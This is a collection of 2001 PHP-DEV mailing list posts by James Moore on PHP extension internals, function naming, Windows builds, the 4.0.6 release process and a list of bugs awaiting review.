comment on it, at the moment there is no democratic process in PHP, people
just do what they want and someone normally knows some part of PHP better
than anyother, IE if you have a sessions thing speak to sascha (via
PHP-DEV), a COM thing speak to Frank, Daniel and Zeev via PHP-DEV, an object
thing speak to Andrei, Zeev and Andi etc... RFC's are a good idea but as
soon as they are posted to php-dev they are in the archives and it will be a
big pain in the arse putting them in CVS due to the karma thing and people
who dont have cvs access. php-dev is there so use it, yes we should
formalise some of the more important discussions but it should all take
place on php-dev.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] PHP in a Hyper-secure environment

[James Moore]

anychance of writing your complex functions in C? then you can do exectly
what you want.

- James
- Original Message -
From: "Howie Oakes" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
Sent: Friday, August 10, 2001 2:55 PM
Subject: Re: [PHP-DEV] PHP in a Hyper-secure environment


> Hello-
>
> I realize I can have per-directory settings, however the issue is that I
> want a web developer to be able to use a simplified version of PHP on a
> page, yet still be able to call encoded functions that have access to the
> full version of PHP, without allowing them direct access to that code.
>
> I had a crazy thought...Could I set up PHP to parse the page twice? One
> time looking for my complex funcions prefixed with a special name...using
a
> full version of PHP, and then parse it a seccond time running all the
> "regular" PHP code?
>
> -Howie
>
>
> >
> >> Does anyone have any ideas? I basically want to run 2 versions of PHP
at
> >> the same time, and access them from the same page. If you zend encode a
> >> script, can I get it to refer to a different php.ini? Is the php.ini
file
> >> read when a script is executed, or does it get read only when you start
> >> apache?
> >
> >If you are running Apache, you can use the .htaccess file to pass
settings
> >to individual directories; for an example see:
> >
> > http://iki.fi/heko/utils/conf/dot-files/dot-htaccess
> >
> >The php.ini file is only read once per server startup.
> >
> >
> >
> >
>
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] RE: [PHP-QA] Re: [PHP-DEV] 4.0.6

[James Moore]

Works perfect for me with IIS5/win2k but becareful of which extensions
you use, a lot of extensions are STILL not threadsafe.

- James

> -Original Message-
> From: Phil Driscoll [mailto:[EMAIL PROTECTED]] 
> Sent: 23 June 2001 11:02
> To: Liz; [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Subject: [PHP-QA] Re: [PHP-DEV] 4.0.6
> 
> 
> On Friday 22 June 2001 19:19, Liz wrote:
> > Cool, thanks..
> >
> > I have a question, has the ISAPI version been stabalised 
> enough that 
> > it wont crash works IIS 5 server??  Last time I put it on 
> it screwed 
> > it over and my bosses got real mad..  But, I'd rather have it as 
> > ISAPI.. but.. I'll have my but kicked if I install it and 
> it wipes out 
> > my server.
> >
> I can't speak for IIS5 but it is still unusable on my IIS4 box.
> 
> Cheers
> -- 
> Phil Driscoll
> 
> -- 
> PHP Quality Assurance Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: 
> [EMAIL PROTECTED]
> 


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Internal Working -- performance question

[James Moore]

> a) Is there a faster way to send data between 2 processes, 
> that will work with PHP, and is supported by Windows and *nix.

How about abstacting it, under Linux use shared mem (should be fastest)
if its avalible, other wise use sockets then If that's not avalible use
database/file version.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Command line option for shell scripting [ And some interactive mode issues]

[James Moore]

Something along this line which I wanted to do was to turn the time out
off for interactive mode as at the moment it times out after 30secs,
anyone got any objections if I make that change??

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] extension depending on extension?

[James Moore]

> Alright, so what I'm doing is wrapping two libraries from the 
> Jabber Project (http://www.jabber.org).  The first is an 
> xmlnodes wrapper, similar to DOM but more internalized as 
> well as some other helper functions, the second is jabber 
> specific functionality.  Here is where it gets tricky, the 
> xmlnode library is dependent on the jabber library.  The 
> xmlnode library is also very useful by itself so I would like 
> it to be that way. So I have it working great but now that 
> I'm ready to make the jabber extension use it I'm lost.  Can 
> I make the require each other?  Can I register xmlnode 
> resources from the jabber extension?  If I can't do this any 
> suggestions on the best solution?
> 
> --temas

There are several trains of thought on this and Im sure Sterling will
make sure you are aware of the other :)

You will need to get the dtor handle from the xmlnode extension (The
le_* varaibles) to register/work with resources (other than that you can
do what you want).

Now you could add phpi_get_le_*() calls to the xmlnode extension but
this causes problems when one is configured as a shared library and the
other as statically build into PHP. Your best bet is probably to use the
new Zend API call ZEND_GET_RESOURCE_TYPE_ID() (Please
note this will not be in any PHP distribution until 4.0.7). This will
return the resource type id of the resource type with the name
 which you can then use it as the second value to the
ZEND_REGISTER_RESOURCE macro (and any other calls that require this
value :)).

See pdf.c and cpdf.c for example usage (grep for le_gd) and zend_list.h
for the implementation of the macro. The return value should be "cached"
locally as this call requires iterating though a hash table which isnt
that fast :)

HTH,

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Need Help!!

[James Moore]

> Yes.  There is nothing specific in there about compiling the 
> code under windows. Brian

Oh I must be dreaming then when I looked at
http://www.php.net/manual/en/install-windows.php#install.windows.build..
Supprising what you imagine isnt it?? :)

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Need Help!!

[James Moore]

> I want to try to fix the character truncation problem when 
> using an mssql database, but I can't seem to figure out how 
> to compile PHP under VC 6.  I have searched all over the site 
> for some insight into what to do, but I am still having 
> problems creating/finding TSRM.mak.  Any and all help would 
> be apreciated.

Have you tried reading the manual??

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Bug #7387 Updated: weird problems with unquoted array subscripts

[James Moore]

> 
> ID: 7387
> Updated by: jeroen
> Reported By: [EMAIL PROTECTED]
> Status: Assigned
> Bug Type: Documentation problem
> Operating system: 
> PHP Version: 4 (any)
> Assigned To: jeroen
> Comments:

Jeroen,

Generally when a bug is assigned to someone and you want to work on it
then its polite to send them an email asking if they mind you working on
it, in this case I haven't found time to actually write the docs but
then again how are you to know I haven't spent the last 2-3 hours
writing this and haven't committed it yet/updated report. I would
appreciate, as I'm sure others would too, this courtesy in the future
before you reassign bugs.

Cheers,

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] PHP 4.0.6 branch, bug #4630

[James Moore]

> David,
> 
> Can you please grab the latest CVS and check if it fixes your 
> problems. If 
> it does I think it can be merged into 4.0.6.

David,

Generally wed be appreciative if someone with AIX would think about
joining the PHP QA Team to ensure future versions of PHP also run on the
platform before they are released. Just testing a couple of RC's would
be great as we don't have any testers at present. Perhaps you could ask
some of the people who helped you with this report or provide an account
somewhere for one of the QA Team members to build and run tests on an
AIX machine. 

Cheers,

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] disktotalspace()

[James Moore]

> > >> How do you feel about renaming the existing diskfreespace()
> > >> function to disk_free_space() (with an alias for backwards
> > >> compatibility)?
> > >
> > > A warm fuzzy feeling :)  Seriously though, it's been discussed in
> > > great  length, and at least from what I understood, going in that
> > > direction was  the general idea.  Slowly, but surely :)
> > >
> > Actually, at least what I remember from the conversations, this was
> > being put off till someone actually did some work at renaming a set of
> > the functions, and there are still a good number of unresolved issues
> > regarding function naming (str_tok() or strtok() to name one).  At this
> > point, I think placing it in there as disktotalspace() and leaving
> > diskfreespace() alone would be the right thing to do.  Then
> when all the
> > naming issues are hashed out/someone has some work to show, change both
> > of the functions to their proper names.  At this point a
> > disk_free_space() function seems out of place in the current naming
> > scheme (I wouldn't object as much to disk_freespace() and
> > disk_totalspace(), but overall, I think we should wait until
> the rest of
> > the source is namespace complaint and we've decided how to handle the
> > change to the new naming conventions.)
>
> Ugh.  I wish I had read this a few minutes earlier.  I just made
> the name change based on what I assumed was consensus.
>
> If someone feels the need to revert the change, go ahead.  I
> prefer to just leave it now that I've already changed it, and
> then I'll add the new function as disk_total_space().

Why add more functions to be depreciated soon?? Lets name new functions
properly, bring others into line as and when and as needed add alaises until
we fix it.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] disktotalspace()

[James Moore]

>
> Well, there is no "CVS standard", but rather a standard in the
> CODING_GUIDELINES file.  However, in this case, I think you can
> disregard that, since the function is so similiar (in nature) to the
> diskfreespace() function that disktotalspace() makes the most sense,
> instead of disk_totalspace() or disk_total_space().

Wouldnt it make more sense here to correct the name of diskfree_space and
and an alias back rather than introducing new functions that are named not
according the the standard?

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] disktotalspace()

[James Moore]

> > Before you add it can you name it properly (To the CVS standard).
>
> I don't follow you.  How is it named improperly, and what is the
> CVS standard?

http://cvs.php.net/viewcvs.cgi/php4/CODING_STANDARDS?rev=1.6&content-type=te
xt/vnd.viewcvs-markup

Derick suggested:  diskspace_free and diskspace_total
I dont really know.. maybe disk_total_space or what derick said.. not really
sure what it should be by disktotalspace certainly isnt correct.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] disktotalspace()

[James Moore]

Before you add it can you name it properly (To the CVS standard).

cheers,

- James

> -Original Message-
> From: Jon Parise [mailto:[EMAIL PROTECTED]]
> Sent: 15 May 2001 05:01
> To: Sterling Hughes
> Cc: [EMAIL PROTECTED]
> Subject: Re: [PHP-DEV] disktotalspace()
> 
> 
> On Mon, May 14, 2001 at 11:51:52PM -0400, Sterling Hughes wrote:
> 
> > The patch looks ok, a couple of questions though...
> 
> I'm not the original author of the function, but so I'll answer
> as best I can.
>  
> > 1) disktotalspace() looks like a memory intensive operation, perhaps 
> > having a cache might not be a bad idea.
> 
> Perhaps.  I haven't profiled the function's use, but I can think
> of possible situations where it may be called multiple times in a
> script's execution.
>  
> > 2) I see you use LoadLibrary to load in kernel32.dll on Win32, what 
> > happens on that system when I call disk total space more than once? 
> > Could this cause a crash??  Also, perhaps you don't need to load the 
> > library in more than once, does anyone know of any other areas where 
> > this library is loaded in?
> 
> I know very little about Windows program, although I understand
> the points you raise.  All I can say is that the Windows-specific
> portions of the disktotalspace() function were adapted from the
> preexisting diskfreespace() function.  The original author of
> that code would be the best person to ask, I think.
>  
> > 3)  Why not just have a statfs() function instead, that would 
> return all 
> > this info and more?
>  
> Again, the new function is based on diskfreespace(), so I think
> we just assumed the was a reason it was done that way.  I presume
> that compatibility was the primary concern, but I can't say for
> sure.
> 
> -- 
> Jon Parise ([EMAIL PROTECTED])  .  Rochester Inst. of Technology
> http://www.csh.rit.edu/~jon/  :  Computer Science House Member
> 
> -- 
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Re: [PHP-QA] Modifications to Windows Readme file

[James Moore]

> > the readme shold be nuked as it's pretty out of date.
> > info's not covered by install.txt should be moved there, IMO.
>
> One thing I noted when setting my windows stuff up was that there
> were various
> details in different places, makes it a little more confusing.  A
> simple HTML
> file including with jump points, so people can go to the type
> they want.If
> people see an install.txt and dont see instructions they'll label
> it as crap.
> People do often read a readme, but if again they see some install
> instructions
> but not the ones they want, it will be labeled as crap

Well keep the manual up to date and we can generate install.txt from this
very simply..

make
lynx -dump html/install.windows.html > install.txt

in the manual dir. I think this is probably the best way to do it.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] RE: [PHP-QA] Linux on S/390

[James Moore]

Zak,

I suggest that one of the QA Team Members signs up for an account,
preferably someone who has a decent amount of experiance of debugging on
Linux we could then use the system to verify bugs/run RC tests on the
server. Any of the QA Team Members/Developers willing to be responsible for
this?

- James

> -Original Message-
> From: Zak Greant [mailto:[EMAIL PROTECTED]]
> Sent: 08 May 2001 19:41
> To: [EMAIL PROTECTED]
> Cc: [EMAIL PROTECTED]
> Subject: [PHP-QA] Linux on S/390
>
>
> Hello All,
>
> Anyone have an interest in this?
>
> IBM Linux Community Development System
> Welcome to the Linux Community Development System (the
> 'Service'), a Service
> provided by IBM. The Service provides you with access to a Linux on S/390
> environment for the purpose of providing the Open Source community with a
> platform to develop, port and/or test drive your products or
> applications on
> this platform. We anticipate the majority of users to include entrepreneur
> developers/vendors that otherwise might not have the opportunity to
> test/port their code to the S/390 platform. However, we invite
> all interest
> parties that meet the established terms and conditions to register and
> experience "Linux for S/390".
>
> http://www-1.ibm.com/servers/eserver/zseries/os/linux/lcds/
>
> --zak
>
>
> --
> PHP Quality Assurance Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] RE: NEWS line

[James Moore]

Hmm WTF where did that come from??

- James

> -Original Message-
> From: Andrei Zmievski [mailto:[EMAIL PROTECTED]]
> Sent: 08 May 2001 17:18
> To: PHP Developers; [EMAIL PROTECTED]
> Subject: NEWS line
> 
> 
> What's this NEWS line for?
> 
> - Ported Documentation structure from phpdoc. (James Moore)
> 
> -Andrei
> * It said 'Winmodem' on the box, but I still feel like I lost. *

-- 
PHP Development Mailing List <http://www.php.net/>
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Zend API changes

[James Moore]

> > > You're not wrong;  It's been done and published
> > > (http://www.zend.com/apidoc/), and is the base for additional work
> > > that I invited people to improve on.
> >
> >Hey, are the sources for this manual available somewhere?  CVS maybe?
>
> Yep, sure thing;  cvs.zend.com, co ZendAPI;  Released under OPL, and
> written in the same formats everyone in here's used to work with :)

At the moment its all one big XML file, would anyone object to me splitting
it up into more manageable chunks like we do with phpdoc etc?

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Zend API changes

[James Moore]

> * James Moore wrote:
> > And the point of this other than trying to start a flame war was Bjorn?
>
> I'm not starting a flame war.

I just didnt understand what your comments possibly had to do with the Zend
API docs. AFIAK they arnt QPL'd (and if they are it doesnt really matter
although they should be under a publication license)..

- James


-- 
PHP Development Mailing List <http://www.php.net/>
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Zend API changes

[James Moore]

> > There's a good starting point already, people are more than welcome to 
> > extend it.
> 
> I don't understand why people should work in their spare-time
> on a tool which is published under the Zend Licence (which is
> similar to QPL). As we know of QPL, all developer's seem to
> be equal, but some seem to be more equal.
> 
> As you know from Daniel Grossmann, I'm not the only one
> who has this opinion.

And the point of this other than trying to start a flame war was Bjorn?

- James

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] RE: [PHP-QA] Re: [PHP-DEV] Release process

[James Moore]

> > > What's the status of the show stoppers list James put up?  We
> > > should fix as
> > > many bugs as we can (at least those which are planned to be fixed
> > > in 4.0.6)
> > > before branching, to avoid having to synchronize two branches for
> > > every bug
> > > fix.
> >
> >Ill go through tonight and update list and post tomorrow. I also feel the
> >Com problem is a showstopper and that NEDDS to be fixed before 4.0.6.. I
> >have 6 emails from people at PHP_UK etc asking if it will be
> fixed in 4.0.6
> >etc. Lets not let the 99% of people use PHP on linux lets ignore
> the windows
> >users ethos of many opensource projects happen here too. We try to be
> >crossplatform lets make sure we are and get the COM thing fixed too.
>
> It seems to be fixed already.

The patch was just reverted it wasnt fixed.. I think...

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] RE: [PHP-QA] Re: [PHP-DEV] Release process

[James Moore]

> What's the status of the show stoppers list James put up?  We
> should fix as
> many bugs as we can (at least those which are planned to be fixed
> in 4.0.6)
> before branching, to avoid having to synchronize two branches for
> every bug
> fix.

Ill go through tonight and update list and post tomorrow. I also feel the
Com problem is a showstopper and that NEDDS to be fixed before 4.0.6.. I
have 6 emails from people at PHP_UK etc asking if it will be fixed in 4.0.6
etc. Lets not let the 99% of people use PHP on linux lets ignore the windows
users ethos of many opensource projects happen here too. We try to be
crossplatform lets make sure we are and get the COM thing fixed too.

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] RE: [PHP-QA] 4.0.6

[James Moore]

> >I would be very against this.. to me it seems silly, the current QA Team
> >will have to spend 90% of their time running through the (maybe
> hundreds) of
> >reports rather than testing. It makes more sense to me to try and attract
> >more people who know what they are doing to the QA Team rather
> than having a
> >fairly (maybe more :)) disorderly group  of people testing from
> people who
> >do not really know what they are doing..
>
> You have tens of thousands of people testing releases today. What's the
> difference?

The big difference is during a release process is the time scale. There are
likley to be more bugs in an RC as well as people reporting bugs more
rigerously (As well as probably reporting lots of bogus/dup bugs, which are
very tedious to trawl through).

If this is to happen (which I dont think it should) then we need to get the
people to understand that RC testing is this this and this, not please test
our latest RC and send feedback, if you come accross a problem then send the
feedback here and here so it can be dealt with, please check the bugs
database first etc.

If we announce PHP 4.0.6RC1 in X places then people will think oh 4.0.6 is
released (remeber PHP users are incapable of reading anything more than
about 10 words) lets use that; they then wont bother upgrading when the real
4.0.6 is released. This means we will start to get bug reports saying this
isnt working in 4.0.6 when it has been fixed in the RC phase but is still
present in the first RC.

Everyone seems to be trying to fix the problem the wrong way. IMHO the
problem here was with the Release Cycle not the amount of testing.

Normally I test RC1 massivly then if there are problems I check for them in
later RC's where people have said they have been fixed (or its decided that
the bug should be fixed before the release).

This time this didnt work for the single reason Phanto was unresposible and
commited a huge (700 line commit) to RC7 and DIDNT test it. I asked him (as
I asked sascha too) to when we decided to have RC8 (I think I cc'd the list)
to test his changes throughly as I would not have time due to "real" work.
Now Phanto obviously didnt do this, maybe someone should have caught it but
I feel that by not testing Phanto invalidated a lot of hard work by the rest
of the team to make 4.0.6 stable.

I am certainly pissed off that this has happened as a lot of people put a
lot of work into making sure 4.0.5 was stable and the problem here is not
the testing but the developers commiting unneeded stuff to the RC branch.

I feel we should only have x people commiting to the branch and if somthing
is commited as late as the COM stuff was its up to the developer to test
throughly otherwise its their head on the block.

and remember the old proverb "Too many cooks spoil the broth"...

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Re: [PHP-QA] 4.0.6

[James Moore]

http://www.php.net/install

its all there under the windows section.. why dont people read the manual??

- James

> -Original Message-
> From: Eduardo Dominguez [mailto:[EMAIL PROTECTED]]
> Sent: 02 May 2001 18:22
> To: [EMAIL PROTECTED]
> Subject: Re: [PHP-DEV] Re: [PHP-QA] 4.0.6
>
>
>
> >That COM problem is Win32 specific. And as Microsoft in it's great wisdom
> >has decided not to include any compilers in their OSs, the lack
> >of binary builds for RCs kinda makes it a bit hard for those who would
> >like to to test to actually test.
>
>
> Can anyone make it easy to (via a good tutorial or some dsw)
> how to build and test php on windows ? If it only were
> as easy as in *nix :)
>
>
>
>
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] RE: [PHP-QA] Re: [PHP-DEV] Re: [PHP-QA] 4.0.6

[James Moore]

> Seriously though, win32 is particular hard to do automated testing.
> Maybe we could use cygwin for running the test-suite under win32 and at
> least be able to use standard *nix tools?

It already does run under windows.

- James

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] RE: [PHP-QA] 4.0.6

[James Moore]

> >Andi Gutmans wrote:
> > > I think it's enough to announce it on the PHP mailing list
> with a short
> > > explanation of what RC means. We don't want the whole world
> to download
> > the RC.
> >
> >i would like to spread the news as far as possible
>
> Let's take it one step at a time. We should have an RC1 for 4.0.6
> soon and
> we can see how the response from the PHP mailing lists are. That will
> already reach thousands.

I would be very against this.. to me it seems silly, the current QA Team
will have to spend 90% of their time running through the (maybe hundreds) of
reports rather than testing. It makes more sense to me to try and attract
more people who know what they are doing to the QA Team rather than having a
fairly (maybe more :)) disorderly group  of people testing from people who
do not really know what they are doing..

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Re: [PHP-QA] 4.0.6

[James Moore]

> At 04:22 PM 5/2/2001 +0300, Zeev Suraski wrote:
> >I don't see any unusual peak now;  We have tons of bug reports all the
> >time.  IMHO our problem is no longer lack of QA, but lack of developer
> >resources to fix bugs.
> >I truly think that making RCs effective releases gains nothing.  If
> >everyone else thinks differently, so be it.
>
> The COM problem would have been found IMO if we had released a bigger RC.
>
> Andi

The com problem wouldnt be there if

1) Phanto hadnt made such a big patch in RC7
2) He had tested it as I asked him to in an email saying I wouldnt have time
to do so.

unfortunatly I think this is a problem with the release process only x
people should commit to branches these people should be people we trust and
any other patch commited to the branch should be reverted until it can be
verified by one of the X people (who test it before commiting)

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] RE: [PHP-QA] Re: [PHP-DEV] COM is screwed up

[James Moore]

there are no com tests but I did play with it for Liz with RC3 or 4 for a
while and it worked then. (I bet its that god damn COM diff that phanto made
I thought he said he had tested it.. I havnt had time to yet but will build
and test tonight.

- James

> -Original Message-
> From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
> Sent: 01 May 2001 19:08
> To: PHP Quality Assurance Team Mailing List
> Cc: PHP Developers Mailing List; [EMAIL PROTECTED]
> Subject: [PHP-QA] Re: [PHP-DEV] COM is screwed up
>
>
> Hi,
>
> strange that this was not found during RC testing, did anyone ran the
> testsuite on Windows?
>
> Derick
>
> On Tue, 1 May 2001, Andi Gutmans wrote:
>
> > Hi,
> >
> > COM support has stopped working. It seems like this has crawled
> into 4.0.5
> > too. The simple testcom script in php4/tests doesn't work for
> me anymore so
> > you can use that as a test case.
> > Can you please let me know if you can track down the problem?
> >
> > Thanks,
> >
> > Andi
> >
> >
> > --
> > PHP Development Mailing List 
> > To unsubscribe, e-mail: [EMAIL PROTECTED]
> > For additional commands, e-mail: [EMAIL PROTECTED]
> > To contact the list administrators, e-mail: [EMAIL PROTECTED]
> >
>
> Derick Rethans
>
> -
> PHP: Scripting the Web - www.php.net - [EMAIL PROTECTED]
>  SRM: Site Resource Manager - www.vl-srm.net
> -
>
>
> --
> PHP Quality Assurance Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Bug #10567: Your PHP 4.05 Zip file is missing 88 bytes!

[James Moore]

This seems definiatly to be the case.. (I would build one but on a 56k its
going to take a few hours before its upthere)

- James

> -Original Message-
> From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
> Sent: 30 April 2001 23:18
> To: [EMAIL PROTECTED]
> Subject: [PHP-DEV] Bug #10567: Your PHP 4.05 Zip file is missing 88
> bytes!
>
>
> From: [EMAIL PROTECTED]
> Operating system: Win 32
> PHP version:  4.0.4pl1
> PHP Bug Type: *General Issues
> Bug description:  Your PHP 4.05 Zip file is missing 88 bytes!
>
> Your PHP 4.05 Windows 32 ZIP file, complete install, appears to
> be bad. After downloading, I am told it is missing 88 bytes of
> data and is unusable.
>
>
> --
> Edit Bug report at: http://bugs.php.net/?id=10567&edit=1
>
>
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] ODBC Build

[James Moore]

Can you please look at the patch in bug http://www.php.net/bugs.php?id=10563
and commit it if its needed/comment on the bug.

thanks

- James
--
James Moore
[EMAIL PROTECTED]
http://www.perl.com/search/index.php - we must be doing somthing right



-- 
PHP Development Mailing List <http://www.php.net/>
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] 4.0.6

[James Moore]

> Guys,
>
> I think that despite the release of 4.0.5 tomorrow we are pretty close to
> having an RC1 for 4.0.6. Lots of things have been fixed/added since 4.0.5
> (check the NEWS file).
> Can we make a list of things which still need to make it into
> 4.0.6 before
> we branch?
>
> Andi

K I have a list of bugs that need to be at least reviewed by the appropraite
developers, this list needs to be added to/altered etc can you please send
feedback on which issues should be fixed before 4.0.6, there are some there
that will not be some that are a 2 second fix etc... Could the QA TEam also
look at them and where possible provide scripts that reproduce the problem
and/or just add an and me note.

=== List of bugs ===
List of iteresting bugs so far:
===

Zend Related

6491 (Incorrect setting of PHP_SELF under certain circumstances)
8130 (Shallow Copy problems)
8414 (set_timout_limit problem
 (very weird not the normal set_timeout_limit bogus report)
8889 (Memory consumption.. decent discussion included)
9289 $argv/$argc weirdness (unverifed)
9462 Include/Require need to be binary safe (see report for example)
9505 (Patch included OS400 specific)
10299 Same as 8889.

To be verified in Zend
--
10029 Not sure about this one
  but its here due to my lack of understanding of Zend :)

Build Related
-
8045 Configuration order of ccvs and mcrypt

CGI Related
---
9041 #! at top of script problem. (this one really needs fixing!)

Enviroment Related
--
8725 (putenv problems (see report)) Can anyone verify this?

ini_* funcs
---
10431 ini_alter eats the include_path (unverified)

Interbase Related
-
10458 Bugs #9257 and #10292 located and fixed - see diff
  (can someone check the fix please)

Sockets Related
---
9427 (PHP blocks waiting for packets (needs to be verified))

Time Related

9640 strtotime behaving weirdly (derick did you get to the bottom of this)?
9878 gmmktime doesnt work with daylight saving
 (can anyone verify this?) (test script included)

URL Related
---
1249 url_parse() is a bit too strict

To be verified
--
9526 Can anyone verify this? (safmode copy problems)
9780 Seems like the dirname etc confusion due to standards
